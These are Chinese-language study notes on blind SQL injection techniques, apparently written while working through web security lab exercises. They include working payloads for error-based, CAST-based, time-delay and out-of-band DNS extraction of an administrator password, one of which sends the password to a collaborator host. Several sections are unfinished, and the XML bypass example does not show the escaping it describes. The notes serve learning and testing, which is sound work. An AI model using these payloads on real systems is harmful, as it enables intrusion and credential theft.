通過觸發SQL錯誤來誘導條件回應是指能夠使用錯誤消息從資料庫中提取或推斷敏感數據的情況。
可能會發生以下兩種情況:
假設我們發出以下兩種請求,
TrackingId = xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
TrackingId = xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
第一條因為1不等於2所以NULL,不會報錯。
但第二條因為1等於1所以執行1/0
但 1/0
又會導致資料庫報錯,所以我們可以更改 1/0
來測試注入的條件是否為 true
。
透過這個技巧,我們可以通過一次測試一個字元來檢查資料(例如 administrator
的密碼):
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
[待補]
資料庫配置錯誤有時會導致冗長的錯誤訊息。 這些可以提供可能對攻擊者有用的資訊。 例如
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
錯誤訊息在id
引數中注入單個引號後出現。
有時候,我們可以誘導網站產生一些資料的錯誤訊息,可以讓SQL盲注入變成看得見的注入。
可以使用CAST()
函式來實現這一點。 它使您能夠將一種資料型別轉換為另一種資料型別。 例如:
CAST((SELECT example_column FROM example_table) AS int)
假設原本他要的資料是字串但你給他int
,他可能會給你噴這種錯誤:
ERROR: invalid input syntax for type integer: "Example data"
rZ6H5xILqZdoR2Ir' AND CAST((SELECT 1) AS int)--
她寫說AND 後面接的必須是布林值,那我們再改一下
rZ6H5xILqZdoR2Ir' AND 1=CAST((SELECT 1) AS int)--
work!接著我們試試我們想找的東西
rZ6H5xILqZdoR2Ir' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
ummm....誒太長也不行,那我們刪掉一些東西
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
噴出 administrator
拉~同理可證,我們可以找找密碼。
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
找到密碼拉~86qssne68ejwwjhgpw4m
成功
誒那如果他不再報錯怎模辦?我們還有其他方法!
我們可以透過觸發時間延遲來利用盲目的SQL注入漏洞,由於SQL查詢通常由應用程式同步處理,延遲SQL查詢的執行也會延遲HTTP響應。我們就可以根據接收HTTP響應所需的時間來確定注入條件的真實性。
例如,在Microsoft SQL Server上,您可以使用以下內容來測試條件並觸發延遲:
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
所以同理可證我們可以這樣測試密碼:
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
等了好幾秒,應該是猜對了。裡面有一個叫 administrator
的 username
那我們就可以測試他密碼有多長了
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
...經過不斷測試,我們知道密碼長度是20
知道長度就可以用工具解決了!
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
如果網站處理請求不是同步進行,使用另一個執行敘執行SQL查詢,使用跟蹤cookie。 查詢仍然容易受到SQL注入的影響,但你看不出來差別(0口0),前面教的都沒有用了QAQ
我們還有辦法!
透過觸發與弱點網站的 out-of-band
交互來利用 SQL injection。
根據注入條件觸發,一次推斷出一個資訊,或是資料可以直接在網路互動中洩露,通常最有效的是DNS
(域名服務),因為很多網站的環境都允許 DNS
查詢自由發出。
使用out-of-band
技術的最簡單、最可靠的工具是 Burp Collaborator。 這是一個伺服器,提供包括DNS在內的各種網路服務的自定義實現。 它允許您檢測何時因向易受攻擊的應用程式傳送單個有效負載而發生網路互動。 Burp Suite Professional可以直接使用。
例如,Microsoft SQL Server上的以下輸入可用於在指定域上進行DNS查詢:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
會導致資料庫對以下域進行查詢:
0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
您可以使用Burp Collaborator生成一個唯一的子域,並輪詢Collaborator伺服器,以確認何時發生任何DNS查詢。
[待補]
知道怎麼利用out-of-band
後,我們就可以使用它從易受攻擊的網站中洩露資料。 例如:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
此輸入讀取 administrator
使用者的密碼,附加唯一的協作者子域,並觸發DNS查詢。 此查詢允許您檢視捕獲的密碼,像這樣:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
我們在前面都用像是輸入匡之類的地方進行SQL注入,但我們也可以使用
網站作為SQL查詢處理的任何可控輸入來執行SQL注入攻擊,像是有一些網站接受JSON
或XML
格式的輸入,並使用它來查詢資料庫。
這些不同的格式可能會提供不同的方法來混淆,因WAF和其他防禦機制攻擊有可能被阻止。
但我們可以透過在禁止的關鍵字中編碼或轉開字元來繞過這些過濾器。 例如,下面是XML
的SQL
注入使用XML
轉義序列在SELECT
中編碼S
字元:
<stockCheck>
<productId>123</productId>
<storeId>999 SELECT * FROM information_schema.tables</storeId>
</stockCheck>
[待補]
https://portswigger.net/web-security/sql-injection
https://ithelp.ithome.com.tw/articles/10240102